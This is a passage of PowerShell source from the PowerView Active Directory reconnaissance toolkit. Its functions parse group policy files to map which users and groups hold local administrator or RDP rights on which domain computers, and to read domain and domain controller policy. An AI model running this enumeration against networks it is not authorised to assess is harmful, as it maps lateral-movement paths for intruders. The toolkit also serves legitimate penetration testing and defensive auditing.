        PS C:\> Get-NetGPOGroup -GPOName '{0847C615-6C4E-4D45-A064-6001040CC21C}'

        Return any GPO-set groups for the GPO with the given name/GUID.

    .EXAMPLE

        PS C:\> Get-NetGPOGroup -DisplayName 'Desktops'

        Return any GPO-set groups for the GPO with the given display name.

    .LINK

        https://morgansimonsenblog.azurewebsites.net/tag/groups/
#>

    [CmdletBinding()]
    Param (
        [String]
        $GPOname = '*',

        [String]
        $DisplayName,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [Switch]
        $ResolveMemberSIDs,

        [Switch]
        $UsePSDrive,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200
    )

    $Option = [System.StringSplitOptions]::RemoveEmptyEntries

    # get every GPO from the specified domain with restricted groups set
    Get-NetGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {

        $GPOdisplayName = $_.displayname
        $GPOname = $_.name
        $GPOPath = $_.gpcfilesyspath

        $ParseArgs =  @{
            'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
            'UsePSDrive' = $UsePSDrive
        }

        # parse the GptTmpl.inf 'Restricted Groups' file if it exists
        $Inf = Get-GptTmpl @ParseArgs

        if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {

            $Memberships = @{}

            # group the members/memberof fields for each entry
            ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
                $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()}

                # extract out ALL members
                $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}

                if($ResolveMemberSIDs) {
                    # if the resulting member is username and not a SID, attempt to resolve it
                    $GroupMembers = @()
                    ForEach($Member in $MembershipValue) {
                        if($Member -and ($Member.Trim() -ne '')) {
                            if($Member -notmatch '^S-1-.*') {
                                $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
                                if($MemberSID) {
                                    $GroupMembers += $MemberSID
                                }
                                else {
                                    $GroupMembers += $Member
                                }
                            }
                            else {
                                $GroupMembers += $Member
                            }
                        }
                    }
                    $MembershipValue = $GroupMembers
                }

                if(-not $Memberships[$Group]) {
                    $Memberships[$Group] = @{}
                }
                if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
                $Memberships[$Group].Add($Relation, $MembershipValue)
            }

            ForEach ($Membership in $Memberships.GetEnumerator()) {
                if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
                    # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
                    $GroupSID = $Membership.Key.Trim('*')
                    if($GroupSID -and ($GroupSID.Trim() -ne '')) {
                        $GroupName = Convert-SidToName -SID $GroupSID
                    }
                    else {
                        $GroupName = $False
                    }
                }
                else {
                    $GroupName = $Membership.Key

                    if($GroupName -and ($GroupName.Trim() -ne '')) {
                        if($Groupname -match 'Administrators') {
                            $GroupSID = 'S-1-5-32-544'
                        }
                        elseif($Groupname -match 'Remote Desktop') {
                            $GroupSID = 'S-1-5-32-555'
                        }
                        elseif($Groupname -match 'Guests') {
                            $GroupSID = 'S-1-5-32-546'
                        }
                        elseif($GroupName.Trim() -ne '') {
                            $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID
                        }
                        else {
                            $GroupSID = $Null
                        }
                    }
                }

                $GPOGroup = New-Object PSObject
                $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
                $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
                $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
                $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
                $GPOGroup | Add-Member Noteproperty 'Filters' $Null
                $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
                $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
                $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
                $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
                $GPOGroup
            }
        }

        $ParseArgs =  @{
            'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
            'UsePSDrive' = $UsePSDrive
        }

        Get-GroupsXML @ParseArgs | ForEach-Object {
            if($ResolveMemberSIDs) {
                $GroupMembers = @()
                ForEach($Member in $_.GroupMembers) {
                    if($Member -and ($Member.Trim() -ne '')) {
                        if($Member -notmatch '^S-1-.*') {
                            # if the resulting member is username and not a SID, attempt to resolve it
                            $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
                            if($MemberSID) {
                                $GroupMembers += $MemberSID
                            }
                            else {
                                $GroupMembers += $Member
                            }
                        }
                        else {
                            $GroupMembers += $Member
                        }
                    }
                }
                $_.GroupMembers = $GroupMembers
            }

            $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
            $_ | Add-Member Noteproperty 'GPOName' $GPOName
            $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
            $_
        }
    }
}


function Find-GPOLocation {
<#
    .SYNOPSIS
        
        Enumerates the machines where a specific user/group is a member of a specific
        local group, all through GPO correlation. 

        Author: @harmj0y
        License: BSD 3-Clause
        Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite
        Optional Dependencies: None

    .DESCRIPTION

        Takes a user/group name and optional domain, and determines the computers in the domain 
        the user/group has local admin (or RDP) rights to.

        It does this by:
            1.  resolving the user/group to its proper SID
            2.  enumerating all groups the user/group is a current part of 
                and extracting all target SIDs to build a target SID list
            3.  pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
                Get-NetGPOGroup
            4.  matching the target SID list to the queried GPO SID list
                to enumerate all GPO the user is effectively applied with
            5.  enumerating all OUs and sites and applicable GPO GUIs are
                applied to through gplink enumerating
            6.  querying for all computers under the given OUs or sites
        
        If no user/group is specified, all user/group -> machine mappings discovered through
        GPO relationships are returned.

    .PARAMETER UserName

        A (single) user name name to query for access.

    .PARAMETER GroupName

        A (single) group name name to query for access. 

    .PARAMETER Domain

        Optional domain the user exists in for querying, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER LocalGroup

        The local group to check access against.
        Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
        or a custom local SID. Defaults to local 'Administrators'.

    .PARAMETER UsePSDrive

        Switch. Mount any found policy files with temporary PSDrives.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .EXAMPLE

        PS C:\> Find-GPOLocation

        Find all user/group -> machine relationships where the user/group is a member
        of the local administrators group on target machines.

    .EXAMPLE

        PS C:\> Find-GPOLocation -UserName dfm
        
        Find all computers that dfm user has local administrator rights to in 
        the current domain.

    .EXAMPLE

        PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local
        
        Find all computers that dfm user has local administrator rights to in 
        the dev.testlab.local domain.

    .EXAMPLE

        PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP
        
        Find all computers that jason has local RDP access rights to in the domain.
#>

    [CmdletBinding()]
    Param (
        [String]
        $UserName,

        [String]
        $GroupName,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $LocalGroup = 'Administrators',
        
        [Switch]
        $UsePSDrive,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200
    )

    if($UserName) {
        # if a group name is specified, get that user object so we can extract the target SID
        $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1
        $UserSid = $User.objectsid

        if(-not $UserSid) {    
            Throw "User '$UserName' not found!"
        }

        $TargetSIDs = @($UserSid)
        $ObjectSamAccountName = $User.samaccountname
        $TargetObject = $UserSid
    }
    elseif($GroupName) {
        # if a group name is specified, get that group object so we can extract the target SID
        $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1
        $GroupSid = $Group.objectsid

        if(-not $GroupSid) {    
            Throw "Group '$GroupName' not found!"
        }

        $TargetSIDs = @($GroupSid)
        $ObjectSamAccountName = $Group.samaccountname
        $TargetObject = $GroupSid
    }
    else {
        $TargetSIDs = @('*')
    }

    # figure out what the SID is of the target local group we're checking for membership in
    if($LocalGroup -like "*Admin*") {
        $TargetLocalSID = 'S-1-5-32-544'
    }
    elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) {
        $TargetLocalSID = 'S-1-5-32-555'
    }
    elseif ($LocalGroup -like "S-1-5-*") {
        $TargetLocalSID = $LocalGroup
    }
    else {
        throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format."
    }

    # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to 
    # get all effective security SIDs this object is a part of
    if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) {
        $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids
    }

    if(-not $TargetSIDs) {
        throw "No effective target SIDs!"
    }

    Write-Verbose "TargetLocalSID: $TargetLocalSID"
    Write-Verbose "Effective target SIDs: $TargetSIDs"

    $GPOGroupArgs =  @{
        'Domain' = $Domain
        'DomainController' = $DomainController
        'UsePSDrive' = $UsePSDrive
        'ResolveMemberSIDs' = $True
        'PageSize' = $PageSize
    }

    # enumerate all GPO group mappings for the target domain that involve our target SID set
    $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {

        $GPOgroup = $_

        # if the locally set group is what we're looking for, check the GroupMembers ('members')
        #    for our target SID
        if($GPOgroup.GroupSID -match $TargetLocalSID) {
            $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
                if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
                    $GPOgroup
                }
            }
        }
        # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs 
        if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
            if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
                $GPOgroup
            }
        }
    } | Sort-Object -Property GPOName -Unique

    $GPOgroups | ForEach-Object {

        $GPOname = $_.GPODisplayName
        $GPOguid = $_.GPOName
        $GPOPath = $_.GPOPath
        $GPOType = $_.GPOType
        if($_.GroupMembers) {
            $GPOMembers = $_.GroupMembers
        }
        else {
            $GPOMembers = $_.GroupSID
        }
        
        $Filters = $_.Filters

        if(-not $TargetObject) {
            # if the * wildcard was used, set the ObjectDistName as the GPO member SID set
            #   so all relationship mappings are output
            $TargetObjectSIDs = $GPOMembers
        }
        else {
            $TargetObjectSIDs = $TargetObject
        }

        # find any OUs that have this GUID applied and then retrieve any computers from the OU
        Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {
            if($Filters) {
                # filter for computer name/org unit if a filter is specified
                #   TODO: handle other filters (i.e. OU filters?) again, I hate you GPP...
                $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {
                    $_.adspath -match ($Filters.Value)
                } | ForEach-Object { $_.dnshostname }
            }
            else {
                $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize
            }

            if($OUComputers) {
                if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}

                ForEach ($TargetSid in $TargetObjectSIDs) {
                    $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize

                    $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype

                    $GPOLocation = New-Object PSObject
                    $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
                    $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
                    $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
                    $GPOLocation | Add-Member Noteproperty 'Domain' $Domain
                    $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup
                    $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname
                    $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid
                    $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath
                    $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType
                    $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
                    $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers
                    $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
                    $GPOLocation
                }
            }
        }

        # find any sites that have this GUID applied
        Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {

            ForEach ($TargetSid in $TargetObjectSIDs) {
                $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize

                $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype

                $AppliedSite = New-Object PSObject
                $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
                $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
                $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
                $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup
                $AppliedSite | Add-Member Noteproperty 'Domain' $Domain
                $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname
                $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid
                $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath
                $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType
                $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
                $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
                $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
                $AppliedSite
            }
        }
    }
}


function Find-GPOComputerAdmin {
<#
    .SYNOPSIS

        Takes a computer (or GPO) object and determines what users/groups are in the specified
        local group for the machine.

        Author: @harmj0y
        License: BSD 3-Clause
        Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName
        Optional Dependencies: None

    .DESCRIPTION
        
        If a -ComputerName is specified, retrieve the complete computer object, attempt to
        determine the OU the computer is a part of. Then resolve the computer's site name with
        Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to
        enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For
        each resulting GPO group, resolve the resulting user/group name to a full AD object and
        return the results. This will return the domain objects that are members of the specified
        -LocalGroup for the given computer.

        Inverse of Find-GPOLocation.

    .PARAMETER ComputerName

        The computer to determine local administrative access to.

    .PARAMETER OUName

        OU name to determine who has local adminisrtative acess to computers
        within it. 

    .PARAMETER Domain

        Optional domain the computer/OU exists in, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER Recurse

        Switch. If a returned member is a group, recurse and get all members.

    .PARAMETER LocalGroup

        The local group to check access against.
        Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
        or a custom local SID.
        Defaults to local 'Administrators'.

    .PARAMETER UsePSDrive

        Switch. Mount any found policy files with temporary PSDrives.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .EXAMPLE

        PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local
        
        Finds users who have local admin rights over WINDOWS3 through GPO correlation.

    .EXAMPLE

        PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP
        
        Finds users who have RDP rights over WINDOWS3 through GPO correlation.
#>

    [CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $ComputerName,

        [String]
        $OUName,

        [String]
        $Domain,

        [String]
        $DomainController,

        [Switch]
        $Recurse,

        [String]
        $LocalGroup = 'Administrators',

        [Switch]
        $UsePSDrive,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200
    )

    process {
    
        if(!$ComputerName -and !$OUName) {
            Throw "-ComputerName or -OUName must be provided"
        }

        $GPOGroups = @()

        if($ComputerName) {
            $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize

            if(!$Computers) {
                throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
            }
            
            $TargetOUs = @()
            ForEach($Computer in $Computers) {
                # extract all OUs a computer is a part of
                $DN = $Computer.distinguishedname

                $TargetOUs += $DN.split(",") | ForEach-Object {
                    if($_.startswith("OU=")) {
                        $DN.substring($DN.indexof($_))
                    }
                }
            }

            # enumerate any linked GPOs for the computer's site
            $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
            if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
                $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
                    if($_.gplink) {
                        $_.gplink.split("][") | ForEach-Object {
                            if ($_.startswith("LDAP")) {
                                $_.split(";")[0]
                            }
                        }
                    }
                } | ForEach-Object {
                    $GPOGroupArgs =  @{
                        'Domain' = $Domain
                        'DomainController' = $DomainController
                        'ResolveMemberSIDs' = $True
                        'UsePSDrive' = $UsePSDrive
                        'PageSize' = $PageSize
                    }

                    # for each GPO link, get any locally set user/group SIDs
                    Get-NetGPOGroup @GPOGroupArgs
                }
            }
        }
        else {
            $TargetOUs = @($OUName)
        }

        Write-Verbose "Target OUs: $TargetOUs"

        $TargetOUs | Where-Object {$_} | ForEach-Object {

            $GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { 
                # and then get any GPO links
                if($_.gplink) {
                    $_.gplink.split("][") | ForEach-Object {
                        if ($_.startswith("LDAP")) {
                            $_.split(";")[0]
                        }
                    }
                }
            }

            $GPOGroupArgs =  @{
                'Domain' = $Domain
                'DomainController' = $DomainController
                'UsePSDrive' = $UsePSDrive
                'ResolveMemberSIDs' = $True
                'PageSize' = $PageSize
            }

            # extract GPO groups that are set through any gPlink for this OU
            $GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
                ForEach($GPOLink in $GPOLinks) {
                    $Name = $_.GPOName
                    if($GPOLink -like "*$Name*") {
                        $_
                    }
                }
            }
        }

        # for each found GPO group, resolve the SIDs of the members
        $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object {
            $GPOGroup = $_

            if($GPOGroup.GroupMembers) {
                $GPOMembers = $GPOGroup.GroupMembers
            }
            else {
                $GPOMembers = $GPOGroup.GroupSID
            }

            $GPOMembers | ForEach-Object {
                # resolve this SID to a domain object
                $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_

                $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype

                $GPOComputerAdmin = New-Object PSObject
                $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
                $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_
                $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup
                $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
                $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
                $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
                $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
                $GPOComputerAdmin

                # if we're recursing and the current result object is a group
                if($Recurse -and $GPOComputerAdmin.isGroup) {

                    Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object {

                        $MemberDN = $_.distinguishedName

                        # extract the FQDN from the Distinguished Name
                        $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'

                        $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype

                        if ($_.samAccountName) {
                            # forest users have the samAccountName set
                            $MemberName = $_.samAccountName
                        }
                        else {
                            # external trust users have a SID, so convert it
                            try {
                                $MemberName = Convert-SidToName $_.cn
                            }
                            catch {
                                # if there's a problem contacting the domain to resolve the SID
                                $MemberName = $_.cn
                            }
                        }

                        $GPOComputerAdmin = New-Object PSObject
                        $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName
                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN
                        $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid
                        $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou
                        $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
                        $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
                        $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
                        $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep
                        $GPOComputerAdmin 
                    }
                }
            }
        }
    }
}


function Get-DomainPolicy {
<#
    .SYNOPSIS

        Returns the default domain or DC policy for a given
        domain or domain controller.

        Thanks Sean Metacalf (@pyrotek3) for the idea and guidance.

    .PARAMETER Source

        Extract Domain or DC (domain controller) policies.

    .PARAMETER Domain

        The domain to query for default policies, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ResolveSids

        Switch. Resolve Sids from a DC policy to object names.

    .PARAMETER UsePSDrive

        Switch. Mount any found policy files with temporary PSDrives.

    .EXAMPLE

        PS C:\> Get-DomainPolicy

        Returns the domain policy for the current domain. 

    .EXAMPLE

        PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local

        Returns the policy for the MASTER.testlab.local domain controller.
#>

    [CmdletBinding()]
    Param (
        [String]
        [ValidateSet("Domain","DC")]
        $Source ="Domain",

        [String]
        $Domain,

        [String]
        $DomainController,

        [Switch]
        $ResolveSids,

        [Switch]
        $UsePSDrive
    )

    if($Source -eq "Domain") {
        # query the given domain for the default domain policy object
        $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}"
        
        if($GPO) {
            # grab the GptTmpl.inf file and parse it
            $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

            $ParseArgs =  @{
                'GptTmplPath' = $GptTmplPath
                'UsePSDrive' = $UsePSDrive
            }

            # parse the GptTmpl.inf
            Get-GptTmpl @ParseArgs
        }

    }
    elseif($Source -eq "DC") {
        # query the given domain/dc for the default domain controller policy object
        $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}"

        if($GPO) {
            # grab the GptTmpl.inf file and parse it
            $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

            $ParseArgs =  @{
                'GptTmplPath' = $GptTmplPath
                'UsePSDrive' = $UsePSDrive
            }

            # parse the GptTmpl.inf
            Get-GptTmpl @ParseArgs | ForEach-Object {
                if($ResolveSids) {
                    # if we're resolving sids in PrivilegeRights to names
                    $Policy = New-Object PSObject
                    $_.psobject.properties | ForEach-Object {
                        if( $_.Name -eq 'PrivilegeRights') {

                            $PrivilegeRights = New-Object PSObject
                            # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate
                            $_.Value.psobject.properties | ForEach-Object {

                                $Sids = $_.Value | ForEach-Object {
                                    try {
                                        if($_ -isnot [System.Array]) { 
                                            Convert-SidToName $_ 
                                        }
                                        else {
                                            $_ | ForEach-Object { Convert-SidToName $_ }
                                        }
                                    }
                                    catch {
                                        Write-Verbose "Error resolving SID : $_"
                                    }
                                }

                                $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids
                            }

                            $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights
                        }
                        else {
                            $Policy | Add-Member Noteproperty $_.Name $_.Value
                        }
                    }
                    $Policy
                }
                else { $_ }
            }
        }
    }
}



########################################################
#
# Functions that enumerate a single host, either through
# WinNT, WMI, remote registry, or API calls 
# (with PSReflect).
#
########################################################

function Get-NetLocalGroup {
<#
    .SYNOPSIS

        Gets a list of all current users in a specified local group,
        or returns the names of all local groups with -ListGroups.

    .PARAMETER ComputerName

        The hostname or IP to query for local group users.

    .PARAMETER ComputerFile

        File of hostnames/IPs to query for local group users.

    .PARAMETER GroupName

        The local group name to query for users. If not given, it defaults to "Administrators"

    .PARAMETER ListGroups

        Switch. List all the local groups instead of their members.
        Old Get-NetLocalGroups functionality.

    .PARAMETER Recurse

        Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.

    .PARAMETER API

        Switch. Use API calls instead of the WinNT service provider. Less information,
        but the results are faster.

    .EXAMPLE

        PS C:\> Get-NetLocalGroup

        Returns the usernames that of members of localgroup "Administrators" on the local host.

    .EXAMPLE

        PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP

        Returns all the local administrator accounts for WINDOWSXP

    .EXAMPLE

        PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse 

        Returns all effective local/domain users/groups that can access WINDOWS7 with
        local administrative privileges.

    .EXAMPLE

        PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups

        Returns all local groups on the WINDOWS7 host.

    .EXAMPLE

        PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API

        Returns all local groups on the the passed hosts using API calls instead of the
        WinNT service provider.

    .LINK

        http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
        http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
#>

    [CmdletBinding(DefaultParameterSetName = 'WinNT')]
    param(
        [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)]
        [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]
        [Alias('HostName')]
        [String[]]
        $ComputerName = $Env:ComputerName,

        [Parameter(ParameterSetName = 'WinNT')]
        [Parameter(ParameterSetName = 'API')]
        [ValidateScript({Test-Path -Path $_ })]
        [Alias('HostList')]
        [String]
        $ComputerFile,

        [Parameter(ParameterSetName = 'WinNT')]
        [Parameter(ParameterSetName = 'API')]
        [String]
        $GroupName = 'Administrators',

        [Parameter(ParameterSetName = 'WinNT')]
        [Switch]
        $ListGroups,

        [Parameter(ParameterSetName = 'WinNT')]
        [Switch]
        $Recurse,

        [Parameter(ParameterSetName = 'API')]
        [Switch]
        $API
    )

    process {

        $Servers = @()

        # if we have a host list passed, grab it
        if($ComputerFile) {
            $Servers = Get-Content -Path $ComputerFile
        }
        else {
            # otherwise assume a single host name
            $Servers += $ComputerName | Get-NameField
        }

        # query the specified group using the WINNT provider, and
        # extract fields as appropriate from the results
        ForEach($Server in $Servers) {

            if($API) {
                # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information
                # arguments for NetLocalGroupGetMembers
                $QueryLevel = 2
                $PtrInfo = [IntPtr]::Zero
                $EntriesRead = 0
                $TotalRead = 0
                $ResumeHandle = 0

                # get the local user information
                $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

                # Locate the offset of the initial intPtr
                $Offset = $PtrInfo.ToInt64()

                $LocalUsers = @()

                # 0 = success
                if (($Result -eq 0) -and ($Offset -gt 0)) {

                    # Work out how much to increment the pointer by finding out the size of the structure
                    $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()

                    # parse all the result structures
                    for ($i = 0; ($i -lt $EntriesRead); $i++) {
                        # create a new int ptr at the given offset and cast the pointer as our result structure
                        $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
                        $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2

                        $Offset = $NewIntPtr.ToInt64()
                        $Offset += $Increment

                        $SidString = ""
                        $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

                        if($Result2 -eq 0) {
                            Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
                        }
                        else {
                            $LocalUser = New-Object PSObject
                            $LocalUser | Add-Member Noteproperty 'ComputerName' $Server
                            $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname
                            $LocalUser | Add-Member Noteproperty 'SID' $SidString

                            $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
                            $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup
                            $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI')

                            $LocalUsers += $LocalUser
                        }
